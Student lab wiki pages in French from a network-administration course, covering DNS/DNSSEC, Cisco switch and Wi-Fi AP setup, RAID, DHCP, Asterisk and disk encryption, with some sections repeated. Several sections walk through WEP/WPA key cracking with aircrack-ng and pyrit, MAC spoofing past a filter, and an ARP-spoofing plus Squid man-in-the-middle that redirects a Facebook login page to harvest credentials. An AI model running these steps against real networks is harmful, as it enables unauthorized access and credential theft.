allow-transfer { 217.70.177.40; };
};

Notons que par rapport à la configuration minimale des fichiers, nous avons rajouté quelques lignes, en particulier :

* allow-transfer { 217.70.177.40; }; notify yes; : Déclaration dans la configuration de l'adresse IP du DNS secondaire chez Gandi (ns6.gandi.net)
* @ IN NS ns6.gandi.net. et 57.48.193.in-addr.arpa. IN NS ns6.gandi.net. dans les fichiers de zone pour le DNS secondaire

On enchaîne enfin sur la sécurisation du serveur DNS avec DNSSEC, pour éviter qu'un pirate puisse par exemple modifier de manière invisible l'IP de redirection du domaine. Pour ce faire, on crée 2 clés : une Key Signing Key (KSK) et une Zone Signing Key (ZSK). On utilisera l'option -r /dev/urandom, pour utiliser la génération pseudo-aléatoire (au lieu de /dev/random par défaut), ce qui accélère grandement la génération sur notre système.

Génération de la KSK :
dnssec-keygen -a RSASHA1 -b 2048 -r /dev/urandom -f KSK -n ZONE michay.lol

Génération de la ZSK :
dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE michay.lol

On renomme les 4 clés générées pour se retrouver dans notre dossier avec les fichiers suivants :
root@chimay:/etc/bind/michay.lol.dnssec# ls
total 24
drwxr-sr-x 2 root bind 4096 Oct 20 15:10 .
drwxr-sr-x 4 root bind 4096 Oct 21 18:12 ..
-rw-r--r-- 1 root bind 603 Oct 20 13:48 michay.lol-ksk.key
-rw------- 1 root bind 1774 Oct 20 13:48 michay.lol-ksk.private
-rw-r--r-- 1 root bind 429 Oct 20 13:48 michay.lol-zsk.key
-rw------- 1 root bind 1010 Oct 20 13:48 michay.lol-zsk.private

On ajoute le chemin d'accès aux clés publiques .key dans le fichier de zone db.michay.lol, en ajoutant ces lignes après la déclaration SOA :
$include /etc/bind/michay.lol.dnssec/michay.lol-ksk.key
$include /etc/bind/michay.lol.dnssec/michay.lol-zsk.key

On fournit les clés publiques KSK et ZSK à Gandi pour qu'il puisse les propager sur l'internet (Rubrique "Gérer DNSSEC").

Pour finir, on signe la zone avec la commande dnssec-signzone :
dnssec-signzone -o michay.lol -k michay.lol.dnssec/michay.lol-ksk zones/db.michay.lol michay.lol.dnssec/michay.lol-zsk

Cela crée un fichier db.michay.lol.signed. Il ne nous reste plus alors qu'à modifier le fichier de configuration named.conf.local pour lui dire d'utiliser db.michay.lol.signed à la place de db.michay.lol.

Après test ([http://www.dnsstuff.com/tools#dnsReport|type=domain&&value=michay.lol juste ici]), on constate que la mise en place de DNSSEC est validée.
Après quelques modifications, il reste 1 "erreur" (pas de record MX défini, on pourrait supprimer l'erreur en mettant l'ip des serveurs mails Gandi), et 2 warnings (1 warning car le glue record du serveur DNS secondaire (ns6.gandi.net) ne peut pas être défini sur l'interface Gandi ; 1 warning parce que l'utilitaire considère que la valeur du refresh dans le SOA de la zone est trop haute).

=== Piratage des bornes wifi ===
==== Crackage WEP ====

Nous avons utilisé ici la célèbre distribution Kali pour effectuer le crack. On peut afficher l'état des interfaces réseau avec la commande iwconfig. Dans un premier temps, il faut passer l'interface wifi en mode monitor.
airmon-ng start wlanX
wlanX est l'interface wifi utilisée pour l'attaque. Si un problème survient, il peut peut être réglé en exécutant la commande :
airmon-ng check kill

L'étape suivante consiste à récupérer des vecteurs d'initialisation contenus dans les datas transmises. Pour cela, on peut afficher le traffic wifi avec la commande:
airodump-ng wlan5mon
Cette commande affiche les différents points d'accès ainsi que les clients connectés qui communiquent par Wifi. L'idée est maintenant de capturer et enregistrer les paquets du point d'accès qui nous intéresse. Dans notre cas, nous voulons cracker cracotte03. Pour cela, nous exécutons la commande :
airodump-ng --bssid 00:23:5E:1E:05:42 --ch 7 --write fichier wlanXmon

Nous laissons cette commande fonctionner durant le crack. Nous pouvons ouvrir un autre terminal. En théorie, il est nécessaire à cette étape de stimuler le traffic wifi pour récupérer des paquets. Dans le cadre de notre TP cette étape n'est pas nécessaire car le traffic est déjà très important. Nous pouvons passer directement au crackage de la clé.
Dans le nouveau terminal, nous entrons :
aircrack-ng fichier*.cap

Les deux commandes peuvent fonctionner en parallèle. Nous n'avons plus qu'à attendre. Au bout d'un certain temps (~48k IVs), nous obtenons la clé :
KEY FOUND! [ 55:55:55:55:55:55:55:55:55:55:55:51:11 ]

==== Crackage WPA ====
De la même manière que pour le crackage WEP, dans un premier temps il faut passer l'interface WiFi en mode moniteur. Vous pouvez voir la démarche à suivre dans la partie Crackage WEP au dessus. Ensuite, on récupère le traffic de l'AP ciblé dans un fichier. Le but ici consiste à récupérer des données particulières à l'encryption WPA. Cette donnée s'appelle le handshake. Le handshake est transmis lors de l'authentification d'un client sur le point d'accès. En théorie on force le passage de ce handshake en envoyant des paquets de désauthentification d'un client au point d'accès. Dans le cadre du TP le handshake est transmis en permanence. On voit alors dans la fenêtre de airmon-ng que le handshake WPA a été récupéré.

Une fois que nous avons le handshake, nous allons cracker le mot de passe par bruteforce. Dans un premier temps nous allons générer un dictionnaire. On peut écrire un script simple pour cela, ou bien tout simplement utiliser la commande crunch :
crunch 8 8 0123456789 -o dictionnaire.txt

On peut maintenant lancer le bruteforce avec la commande :
aircrack-ng file.cap -w dictionnaire.txt
La vitesse du bruteforce dépend des performances du processeur. Pour accélérer le processus, on peut utiliser le programme [https://code.google.com/p/pyrit/ pyrit] qui va utiliser le GPU de l'ordinateur. La commande est :
pyrit -r file.cap -i dictionnaire.txt attack_passthrough

===== Les résultats =====
Pour ce test, étant donné que nous connaissions la clé, nous avons généré un dictionnaire allégé pour accélérer le processus de crackage.
crunch 8 8 012389 -o dictionnaire.txt

Utilisation d'aircrack
$ time aircrack-ng out-01.cap -w dic.txt
Aircrack-ng 1.2 rc3

[00:01:36] 404340 keys tested (4197.19 k/s)

KEY FOUND! [ 12399903 ]

Master Key : 33 2B 69 DD 95 0A 5A E0 01 22 7E FF 98 DA 99 87
40 7A CB CC 8A E5 32 9F FE 4E 5C 44 91 38 13 93

Transient Key : 26 97 C3 D5 8D 70 A3 F0 19 3A 7D E0 BA 53 80 82
7A 50 BF 44 DD 30 B3 9C BF 17 57 2D 9B E6 14 BE
F3 FE 81 1B 80 A9 06 7B EF 3D D8 AB 94 3B 4E D9
BB C5 8D D9 D7 88 C7 B0 2D 79 88 ED BD 22 F9 94

EAPOL HMAC : AC 30 13 2E E7 7A 7B EE 43 48 5D 1B 84 2C DC 8B

real 1m37.298s
user 12m55.440s
sys 0m0.112s

La clé est crackée en 1 minute et 40 secondes avec une vitesse de ~4200 k/s.

Utilisation de pyrit
$ time pyrit -r out-01.cap -i dic.txt attack_passthrough
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Parsing file 'out-01.cap' (1/1)...
Parsed 30 packets (30 802.11-packets), got 1 AP(s)

Picked AccessPoint 04:da:d2:9c:50:52 ('cracotte03') automatically.
Tried 440022 PMKs so far; 24749 PMKs per second.

The password is '12399903'.

real 0m21.305s
user 2m20.100s
sys 0m8.448s

La clé est crackée en 21 secondes avec une vitesse 6 fois supérieure avec ~25800 k/s.

==== Connexion à l'AP autorisé ====

On modifie le fichier /etc/network/interfaces

On commente #auto eth0

On configure wlan0 :

auto wlan0
iface wlan0 inet static
address 172.26.79.63
netmask 255.255.240.0
gateway 172.26.79.254
wireless-essid troubadour
wireless-mode managed

La connexion fonctionne sans soucis, on ping la gateway 172.26.79.254 et on accède à internet, en particulier les sites IPv4.

==== Connexion à l'AP filtré ====

On cherche cette fois à se connecter à un AP Wifi filtré par adresses MAC sur lequel on a pas le droit car notre adresse MAC n'est pas autorisée.

On modifie l'adresse MAC en prenant une adresse volée à l'aide du social engineering :
ifconfig wlan0 down
ifconfig wlan0 hw ether 00:15:af:e7:19:f3
ifconfig wlan0 up

On arrive ensuite toujours à ping la gateway et accéder à internet sans soucis !

=== Configuration des Points d'Accès WiFi ===

Sur le commutateur on configure un port pour qu'il soit dans le VLAN 1 en mode trunk. On y connectera par la suite la borne d'accès WiFi. Le routeur sera configuré pour donner l'accès des autres VLAN au VLAN 1.

On peut dorénavant se connecter à la la borne en console pour la configurer. Un simple telnet sur le port par défaut suffit. On expliquera la démarche pour la configuration de l'AP dans la suite.

Dans un premier temps, nous avons configuré un serveur <code>FreeRadius</code> pour sécuriser le réseau WiFi par WPA2-EAP. Les fichiers de configuration du serveur se trouvent dans le dossier <code>/etc/freeradius/</code>.
On rajoute un user dans le fichier users, qui servira pour s'authentifier sur le réseau WiFi. Il suffit de rajouter une ligne dans le fichier :

myusername Cleartext-password := "myclearpassword"

On rajoute aussi dans le fichier clients.conf un nouveau client, de la manière suivante :

client E304 {
ipaddr = 10.10.10.1
secret = anotherpassword
}

client VLAN13 {
ipaddr = 172.20.13.0
netmask = 24
secret = anotherpassword
}

Il est important d'ajouter aussi un client pour la salle E306.

On configure aussi le fichier eap.conf pour utiliser le PEAP-MSCHAPv2. Il faut remplacer les valeurs des différents champs dans le fichier :
eap {
default_eap_type = peap
peap {
default_eap_type = mschapv2
}
}

On peut dorénavant configurer la borne WiFi. Pour cela on a utilisé les commandes de l'énoncé de TP, en modifiant les différentes valeurs. Ces commandes sont à exécuter en mode enable. Les identifiants par défaut sont Cisco/Cisco :
conf t

aaa new-model
aaa authentication login eap_chimay group radius_chimay
radius-server host 193.48.57.163 auth-port 1812 acct-port 1813 key anotherpassword
aaa group server radius radius_chimay
server 193.48.57.163 auth-port 1812 acct-port 1813

exit

dot11 ssid SSID_CHIMAY
vlan 13
authentication open eap eap_chimay
authentication network-eap eap_chimay
authentication key-management wpa
mbssid guest-mode

exit

interface Dot11Radio0
encryption vlan 13 mode ciphers aes-ccm tkip
ssid SSID_CHIMAY

exit

interface Dot11Radio0.13
encapsulation dot1Q 13
no ip route-cache
bridge-group 13
bridge-group 13 subscriber-loop-control
bridge-group 13 spanning-disabled
bridge-group 13 block-unknown-source
no bridge-group 13 source-learning
no bridge-group 13 unicast-flooding

exit

interface GigabitEthernet0.13
encapsulation dot1Q 13
bridge-group 13

exit

exit

On peut maintenant configurer l'accès sur un eeepc, dans le fichier /etc/network/interfaces :
auto wlan0
iface wlan0 inet static
address 172.20.13.12
netmask 255.255.255.0
gateway 172.20.13.254
wpa-ssid SSID_CHIMAY
wpa-key-mgmt WPA-EAP
wpa-identity myusername
wpa-password mycleanpassword

Nous avons dû retirer le package network-manager car il semblerait qu'il reconfigure en fufu les interfaces réseau après la configuration manuelle. Sans lui, nous avons plus de contrôle sur la configuration.

=== Sécurisation des données ===

Nous avons sécurisé les données. Pour se faire, nous avons commencé par créer 3 partitions LVM de 1 Go :

lvcreate -L 1G -n /dev/virtual/ima5-chimay-raid1 -v
lvcreate -L 1G -n /dev/virtual/ima5-chimay-raid2 -v
lvcreate -L 1G -n /dev/virtual/ima5-chimay-raid3 -v

Ensuite, nous les avons ajoutées à la configuration de la VM, dans /etc/xen/chimay.cfg :
'phy:/dev/virtual/ima5-chimay-raid1,xvdd,w',
'phy:/dev/virtual/ima5-chimay-raid2,xvde,w',
'phy:/dev/virtual/ima5-chimay-raid3,xvdf,w',

Après redémarrage, la VM démarre sans soucis. On s'y connecte, et on installe le paquet mdadm pour faire le RAID5 :
apt-get install mdadm

On crée le volume md0 :
mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdd /dev/xvde /dev/xvdf

On vérifie que le volume est bien monté :
fdisk -l
Renvoie :
Disk /dev/md0: 2 GiB, 2145386496 bytes, 4190208 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 524288 bytes / 1048576 bytes

Un mdam --detail nous montre plus de détails sur la partition :
root@chimay:~# mdadm --detail /dev/md0
/dev/md0:
Version : 1.2
Creation Time : Mon Nov 30 15:29:04 2015
Raid Level : raid5
Array Size : 2095104 (2046.34 MiB 2145.39 MB)
Used Dev Size : 1047552 (1023.17 MiB 1072.69 MB)
Raid Devices : 3
Total Devices : 3
Persistence : Superblock is persistent
Update Time : Mon Nov 30 15:29:04 2015
State : clean
Active Devices : 3
Working Devices : 3
Failed Devices : 0
Spare Devices : 0
Layout : left-symmetric
Chunk Size : 512K
Name : chimay:0 (local to host chimay)
UUID : 72cc8ab9:4063c466:b04894e4:2b38e399
Events : 0
Number Major Minor RaidDevice State
0 202 48 0 active sync /dev/xvdd
1 202 64 1 active sync /dev/xvde
2 202 80 2 active sync /dev/xvdf

=== Configuration d'un PCBX ===
==== Installation et mise en place d'un serveur DHCP ====

On commence par installer le serveur DHCP sur l'eeePC :
apt-get install isc-dhcp-server

On modifie ensuite la configuration dans ''/etc/dhcp/dhcpd.conf'', et on y ajoute cette définition du subnet :
subnet 172.20.13.0 netmask 255.255.255.0 {
range 172.20.13.10 172.20.13.50;
option routers 172.20.13.254;
}

On oublie pas de changer aussi :
option domain-name "michay.lol"
option name-server "ns.michay.lol","ns6.gandi.net"

Comme par magie, le téléphone sous Android 6.0 peut alors bien se connecter au point d'accès SSID_CHIMAY et acquiert son IP automatiquement :

[[Fichier:wifi.PNG |thumb|center| 200px|<center>Adresse IP obtenue via DHCP</center>]]

==== Installation d'un serveur VoIP ====

On installe d'abord Asterisk :
apt-get install asterisk

Puis on ajoute dans /etc/asterisk/users.conf :
[general]
hasvoicemail = yes
hassip = yes
hasiax = yes
callwaiting = yes
callwaitingcallerid = yes
transfer = yes
canpark = yes
cancallforward = yes
callreturn = yes
callgroup = 1
pickupgroup = 1
nat = yes

[1001]
type=peer
host=dynamic
dtmfmode=rfc2833
disallow=all
allow=ulaw
fullname = booboon
username = booboon
secret=md5suchprotection
context = work

[1002]
type=peer
host=dynamic
dtmfmode=rfc2833
disallow=all
allow=ulaw
fullname = lordswag
username = lordswag
secret=md5muchsecure
context = work

Puis dans /etc/asterisk/extensions.conf :
[work]
exten => _6XXX,1,Dial(SIP/${EXTEN},20)
exten => _6XXX,2,Hangup()

Nous ne sommes pas parvenu à créer un compte dans l'application CSipClient, le serveur répond mais dit "forbidden", avec le bon mot de passe... Very Cool.

=== Attaque Man in the Middle ===
Pour ce faire, on utilisera Squid combiné à SquidGuard pour rediriger la page de login Facebook vers une page modifée, sans que la cible ne s'en rende compte.
Le hack se fait de la manière suivante :
1. Le hacker récupère le trafic sortant de la cible en se faisant passer pour le routeur en utilisant la commande arpspoof (ARP poisonning)
2. Le hacker redirige la totalité du trafic de façon transparente vers le routeur avec les outils Squid, SquidGuard et iptables.
Il configure SquidGuard pour rediriger les URLs convoitées vers des pages modifiées. Ici nous modifierons la page de login Facebook de façon à ce que les identifiants de connexion passent en HTTP.
3. Le hacker n'a plus qu'à surveiller le trafic avec un outil de type Wireshark, et voir notamment les requêtes HTTP POST transiter avec les identifiants de connexion.
4. Profit

==== Configuration de Squid ====
# Fichier /etc/squid3/squid.conf
acl allowedips src 192.168.1.0/24 # ip ou range d'ip à attaquer
http_access allow allowedips
forwarded_for off # Masque notre ip dans le header HTTP
http_access deny all # Empeche les personnes extérieures d'accéder à notre proxy
cache_access_log /var/log/squid3/access.log
cache_log /var/log/squid3/cache.log
cache_store_log /var/log/squid3/store.log
cache_dir ufs /var/spool/squid3 100 16 256
cache_mem 16 MB
maximum_object_size 15 MB
http_port 3129 intercept # Pour rendre le proxy transparent
cache_effective_group root
url_rewrite_program /usr/bin/squidGuard # Intégration de SquidGuard

==== Configuration de SquidGuard ====
Attention, il ne faut pas mettre de commentaires dans le fichier de configuration. Cela provoquera des erreurs.
# Fichier /etc/squidguard/squidGuard.conf
dbhome /usr/local/squidGuard/db # Dossier parent de la base de données

dest fb-login { # Définition des urls/domaines à rediriger
urllist facebook/url
}

acl {
default {
pass !fb-login all # Laisser passer tout ce qui ne concerne pas Facebook
redirect http://127.0.0.1/ # Rediriger le trafic vers notre serveur Apache local
}
}

# Fichier /usr/local/squidGuard/db/facebook/url
fr-fr.facebook.com

Pour lancer le proxy, dans une console :
squidGuard -C all # Génération de la base de données (à faire à chaque modification des fichiers db)
squid3 -z # Vérification de la configuration de Squid
service squid start
service squid status # Pour vérifier qu'il n'y a pas d'erreurs
vim /var/log/squidguard/squidGuard.log

S'il y a des erreurs, il est possible que ce soit dû à des problèmes de permissions. Typiquement, on peut lancer les commandes :
chown -R proxy:proxy /var/log/squid3 /var/lib/squidguard
chown -R proxy:proxy /var/log/squidguard
chown -R proxy:proxy /usr/local/squidGuard

==== Configuration iptables et redirection ====
Ici nous allons configurer la redirection du trafic.
echo 1 > /proc/sys/net/ipv4/ip_forward # Autorise le forwarding ipv4
iptables -A OUTPUT -p icmp --icmp-type 5 -j DROP # Bloque les ICMP 5 envoyés à la cible
iptables -t nat -A PREROUTING -s <ip serveur squid> -p tcp --dport 80 -j ACCEPT # Accepter le trafic entrant sur le serveur Squid vers le port 80 sans le rediriger
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 3129 # Redirige le trafic des autres IP à destination d'un port 80 vers le port 3128 de Squid
iptables -t nat -A POSTROUTING -j MASQUERADE # Masque l'ip de la cible avec notre propre ip
iptables -t mangle -A PREROUTING -p tcp --dport 3129 -j DROP # Bloque le trafic direct vers le port du serveur Squid

Voir le [http://wiki.squid-cache.org/ConfigExamples/Intercept/LinuxRedirect#iptables_configuration wiki de Squid] pour plus d'informations.

==== Détournement du trafic ====
Pour rediriger le trafic de la cible vers notre machine, on va modifier la table ARP de la cible, avec la commande :
arpspoof -i <interface> -t <ip cible> <ip gateway>
On laisse tourner cette commande dans un terminal le temps de l'attaque. On peut maintenant voir le trafic venant de notre victime sur notre machine avec un logiciel comme Wireshark. Si la personne accède à l'URL facebook.fr, elle sera maintenant redirigée vers notre serveur Apache.

=== Cryptage de données ===
Dans cette partie, nous allons crypter une partition sur une carte SD à l'aide de <code>cryptsetup</code>.
Dans un premier temps, on insère la carte SD dans la machine. On peut afficher l'état des disques et des partitions à l'aide de la commande :
fdisk -l
Nous allons formater la carte de sorte qu'elle n'ait qu'une seule partition. Nous avons choisi le format FAT32. Nous avons utilisé le logiciel gParted pour cela. Dans notre cas, la partition est /dev/sdb1
Nous pouvons maintenant créer une partition cryptée avec :
cryptsetup luksFormat -c aes -h sha256 /dev/sdb1
Cette commande va demander quelques information et notamment une passphrase. Notre carte SD est désormais encryptée en AES SHA-256. On peut afficher l'état du disque avec la commande :
cryptsetup luksDump /dev/sdb1
Il faut maintenant ajouter un système de fichier à cette partition encryptée. Nous avons ici choisi le format ext3 :
cryptsetup luksOpen /dev/sdb1 <nom_du_disque>
mkfs.ext3 /dev/mapper/<nom_du_disque>
On peut maintenant monter la partition dans un dossier :
mount -t ext3 /dev/mapper/<nom_du_disque> /mnt/
On peut maintenant lire et écrire des fichier sur la carte SD en utilisant le dossier /mnt/. Quand on a terminé, on exécute :
umount /mnt/
sudo cryptsetup luksClose <nom_du_disque>

Pour accéder à la carte SD :
cryptsetup luksOpen /dev/sdb1 <nom_du_disque>
mount -t ext3 /dev/mapper/<nom_du_disque> /mnt/
// Opérations ici
umount /mnt/
sudo cryptsetup luksClose <nom_du_disque>

PRA2015 - Configuration des commutateurs

2015-12-10T10:56:10Z

Tteneur : /* Installation et mise en place d'un serveur DHCP */

__TOC__
== Cahier des charges ==
=== Présentation du travail ===
Le but de la tâche est de configurer le commutateur Cisco 6009 de la salle E306. Le binôme n°4 s'occupe du commutateur de même modèle situé en salle E304.

A l'origine, le matériel sur lequel nous travaillons nous est mis à disposition dans une configuration un peu particulière. En effet la carte superviseur (carte mère) du routeur est livrée avec un système d'exploitation CatOS, tandis que la carte routage (carte fille) fonctionne sous IOS. Dans un premier temps la tâche consistera donc de migrer complètement le routeur vers un système IOS. On pourra par la suite configurer les différents VLANs et la connexion redondante sur les routeurs (groupes 1 & 2). Pour plus de clarté sur l'architecture du réseau, je vous invite à consulter le schéma mis en place par nos collègues du groupe 1.

[[Fichier:Network architecture.PNG |thumb|center| 500px|<center>Architecture du réseau mis en place</center>]]

=== Matériel utilisé ===
* Commutateur Cisco 6009
* Un ordinateur muni d'un port série pour la configuration

== Progression ==
=== Semaine 1 - Prise en main ===
Dans un premier temps, nous découvrons le matériel à notre disposition et essayons de comprendre comment il fonctionne. Le commutateur Cisco 6009 est constitué d'un rack de 5 baies. Deux d'entre elles contiennent un module permettant le routage sur les modules de ports RJ45.
Intéressons nous maintenant à ces deux modules en particulier. Ceux-ci sont constituées d'une carte mère appelée carte superviseur et une carte fille qui est la carte routeur. Chacune des deux cartes contiennent leur propre mémoire flash appelée bootflash. Une carte flash de 20 Mo peut aussi être insérée dans le module. La configuration originelle de ces modules est un peut particulière :
* Module 1 : Un CatOS sur la bootflash de la carte superviseur, et un IOS sur la bootflash de la carte routeur
* Module 2 : Un IOS sur la bootflash de la carte superviseur, et un IOS sur la bootflash de la carte routeur

L'idée est de migrer tout les modules vers des systèmes d'exploitation de type IOS (le seul système utilisé aujourd'hui par Cisco).

=== Semaine 2 - Installation et configuration des OS ===

==== Installation des OS ====

On démarre le commutateur avec un seul module superviseur branché. On en configurera un seul à la fois. Nous avons décidé de configurer le module avec CatOS en premier.

Nous passons en mode enable avec la commande du même nom, pour ensuite associer une IP à l'interface sc0. Avec celle ci nous pourrons transférer les fichiers avec un ordinateur (tutur06) via TFTP.

console> enable
console (enable)> set interface sc0 192.168.0.1 255.255.255.0

A cause d'une erreur (bad device info block), nous avons du formater la flash pour pouvoir la lire et écrire dessus. En effet chaque OS a son propre système de fichier.

console (enable)> format slot0:

On peut maintenant copier le binaire contenant l'OS à installer. Pour cela on configure une IP dans le même réseau que l'interface sc0 sur tutur06. L'ordinateur est déjà configuré pour transférer des fichiers par TFTP. Ici nous avons configuré l'IP 192.168.0.2/24.

console (enable)> copy tftp slot0:
console (enable)> 192.168.0.2
console (enable)> "emplacement du fichier"

A partir de là, on peut donc booter directement sur la carte sous IOS. Pour cela il faut interrompre le boot automatique sur CatOS pour indiquer au système de boot sur la carte IOS.

Comme il y a eu un problème de carte avec le deuxième binôme, nous avons du re-formater leur carte au format CatOS, pour cela il a fallu booter en CatOS, la formater sous CatOS et leur remettre les bons fichiers sur la carte via tftp.

A partir de là nous avons pu, de la même manière que précédemment, formater la deuxième au format IOS puis y mettre les fichiers IOS via tftp. En outre, nous avons indiqué au système de boot sur la carte flash via la directive :
BOOT=slot0:<CHEMIN DU FICHIER.bin>

==== Configuration des OS ====

La configuration réseau du routeur se déroule en 3 étapes.

Dans un premier temps, on configure les liaisons trunk. Il s'agit ici de la liaison qui relie le commutateur au routeur en E306, sur l'interface 4/3, et la liaison cable qui relie le commutateur au routeur en E304 sur l'interface 7/2. On écrit donc pour chaque interface
conf t
int Gi4/3
switchport
switchport mode trunk
switchport trunk allowed vlan 11-20,110,130
no shut
exit

int Gi7/2
switchport
switchport trunk encapsulation dot1q
switchport mode trunk
switchport trunk allowed vlan 11-20,110,130
no shut
exit

Il faut ensuite créer les VLAN, par exemple :

conf t
vlan 13
name vlan13
exit

On fait ceci pour les VLAN 11 à 20, puis 110 et 130. Une fois qu'ils sont déclarés, on les attribue à un port physique du commutateur :

int Gi4/13
switchport access vlan 13
no shut
exit

Le schéma physique est le suivant :
*VLAN11 : Gigabit 4/11
*VLAN12 : Gigabit 4/12
*VLAN13 : Gigabit 4/13
*VLAN14 : Gigabit 4/14
*VLAN15 : Gigabit 4/15
*VLAN16 : Gigabit 4/16
*VLAN17 : Gigabit 4/17
*VLAN18 : Gigabit 4/18
*VLAN19 : Gigabit 4/19
*VLAN20 : Gigabit 4/20
*VLAN 110 : Gigabit 4/1

=== Semaine 3 ===

Nous avons commencé par créer une VM Xen sur le serveur Cordouan :
xen-create-image --hostname=chimay --ip=193.48.57.163 --netmask=255.255.255.240 --gateway=193.48.57.174 --dir=/usr/local/xen --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie --passwd

*Notre IP : 193.48.57.163
*Masque : 255.255.255.240
*Passerelle : 193.48.57.174

Nous avons ensuite crée 2 partitions LVM, home et var.
lvcreate -L 10G -n /dev/virtual/ima5-chimay-home -v
lvcreate -L 10G -n /dev/virtual/ima5-chimay-var -v

Il faut enfin modifier le fichier /etc/xen/chimay.cfg, y rajouter les partitions LVM :
disk = [
'phy:/dev/virtual/ima5-chimay-var,xvdb,w'
'phy:/dev/virtual/ima5-chimay-home,xvdb,w' ]
dans vif, rajouter bridge=IMA5sc

Enfin, une fois la VM lancée, on y ajoute le serveur apache, le serveur SSH et le serveur DNS :
apt-get install apache2
apt-get install openssh
apt-get install bind9

On active la possibilité de se connecter par SSH en tant que root directement en ajoutant dans /etc/ssh/sshd_config :
PermitRootLogin yes

=== Semaine 4 ===

Nous avons commencé par louer un nom de domaine chez Gandi. Comme le thème est la bière et que nous avons choisi de nommer notre VM Chimay, nous avons, pour des raisons légales, choisi de louer le domaine michay.lol.

==== Installation du serveur Apache et du certificat SSL ====

Nous avons commencé par configurer Apache et y installer un certificat SSL. A cet effet, nous avons commencé par générer un fichier .csr avec OpenSSL :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout michay.lol.key -out michay.lol.csr

Les domaines certifiés sont ''michay.lol'' et ''www.michay.lol''.

On fournit la .csr à Gandi qui la signe et valide et nous renvoie un .crt. On choisit de le mettre à côté de la .key, et on supprime la .csr.

On poursuit ensuite en activant le module SSL d'Apache :

a2enmod ssl

Il faut ensuite configurer Apache pour écouter sur le port 443, dans /etc/apache2/ports.conf :

<IfModule mod_ssl.c>
Listen 443
NameVirtualHost 193.48.57.163:443
</IfModule>

Enfin, on ajoute un VirtualHost servant le contenu du dossier /var/www/www.michay.lol/ sur le port 443, dans /etc/apache2/sites-available/000-michay.lol-ssl.conf :
<VirtualHost *:443> **** On veille à mettre un wildcard, sinon le certificat SSL n'est pas chargé quand l'adresse est un FQDN. ****
ServerName www.michay.lol **** Domaine et Alias ****
ServerAlias michay.lol
DocumentRoot /var/www/www.michay.lol/ **** Dossier contenant les fichiers du site ****
CustomLog /var/log/apache2/secure_access.log combined **** Localisation des logs ****
SSLEngine on **** Activation du SSL ****
SSLCertificateFile /etc/ssl/certs/www.michay.lol.crt **** Chargement du certificat signé par Gandi ****
SSLCertificateKeyFile /etc/ssl/private/www.michay.lol.key **** Clé privée correspondant au certificat combiné à la PEM ****
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem **** Clé publique émise par Gandi ****
SSLVerifyClient None
</VirtualHost>

On peut alors remarquer que la connexion sécurisée s'affiche en vert dans la barre d'adresse : le certificat est valide. La connexion est sécurisée et le site est de confiance. On remarque notamment la date de validité, ici le certificat est valide pour 1 an.

[[Fichier:certif1.PNG |thumb|center| 500px|<center>Certificat certifié par Gandi.</center>]]

On peut notamment voir toute la chaîne de certification !

[[Fichier:certif2.PNG |thumb|center| 500px|<center>La chaîne de certification de notre certificat.</center>]]

==== Mise en place du serveur DNS et de DNSSEC ====

Toute la configuration du serveur DNS s'effectue dans le dossier /etc/bind/ :

Nous avons crée un dossier /etc/bind/zones dans lequel nous stockons nos fichiers de zone DNS.

zone db.michay.lol :

$TTL 604800

@ IN SOA ns.michay.lol. root.michay.lol. (
2015102001 ; Serial
86400 ; Refresh
3600 ; Retry
2419200 ; Expire
86400 ) ; Negative Cache TTL

$include /etc/bind/michay.lol.dnssec/michay.lol-ksk.key
$include /etc/bind/michay.lol.dnssec/michay.lol-zsk.key

@ IN NS ns.michay.lol.
@ IN NS ns6.gandi.net.
ns IN A 193.48.57.163
www IN A 193.48.57.163
god IN A 193.48.57.163
ns IN AAAA 2001:660:4401:60bb:216:3eff:fe73:e535
www IN AAAA 2001:660:4401:60bb:216:3eff:fe73:e535
god IN AAAA 2001:660:4401:60bb:216:3eff:fe73:e535
@ IN A 193.48.57.163
@ IN AAAA 2001:660:4401:60bb:216:3eff:fe73:e535

et la zone inverse pour la résolution des adresses IP, 57.48.193.in-addr.arpa :

$TTL 604800

@ IN SOA ns.michay.lol. root.michay.lol. (
2015102001 ;serial
14400 ;refresh
3600 ;retry
604800 ;expire
10800 ;minimum
)

57.48.193.in-addr.arpa. IN NS ns.michay.lol.
57.48.193.in-addr.arpa. IN NS ns6.gandi.net.

163 IN PTR michay.lol.

On peut enfin ajouter les zones dans le fichier de configuration principale de bind, /etc/bind/named.conf.local :

zone "michay.lol" {
type master;
file "/etc/bind/zones/db.michay.lol.signed";
allow-transfer { 217.70.177.40; };
notify yes;
};

zone "57.48.193.in-addr.arpa" IN {
type master;
file "/etc/bind/zones/57.48.193.in-addr.arpa";
allow-transfer { 217.70.177.40; };
};

Notons que par rapport à la configuration minimale des fichiers, nous avons rajouté quelques lignes, en particulier :

* allow-transfer { 217.70.177.40; }; notify yes; : Déclaration dans la configuration de l'adresse IP du DNS secondaire chez Gandi (ns6.gandi.net)
* @ IN NS ns6.gandi.net. et 57.48.193.in-addr.arpa. IN NS ns6.gandi.net. dans les fichiers de zone pour le DNS secondaire

On enchaîne enfin sur la sécurisation du serveur DNS avec DNSSEC, pour éviter qu'un pirate puisse par exemple modifier de manière invisible l'IP de redirection du domaine. Pour ce faire, on crée 2 clés : une Key Signing Key (KSK) et une Zone Signing Key (ZSK). On utilisera l'option -r /dev/urandom, pour utiliser la génération pseudo-aléatoire (au lieu de /dev/random par défaut), ce qui accélère grandement la génération sur notre système.

Génération de la KSK :
dnssec-keygen -a RSASHA1 -b 2048 -r /dev/urandom -f KSK -n ZONE michay.lol

Génération de la ZSK :
dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE michay.lol

On renomme les 4 clés générées pour se retrouver dans notre dossier avec les fichiers suivants :
root@chimay:/etc/bind/michay.lol.dnssec# ls
total 24
drwxr-sr-x 2 root bind 4096 Oct 20 15:10 .
drwxr-sr-x 4 root bind 4096 Oct 21 18:12 ..
-rw-r--r-- 1 root bind 603 Oct 20 13:48 michay.lol-ksk.key
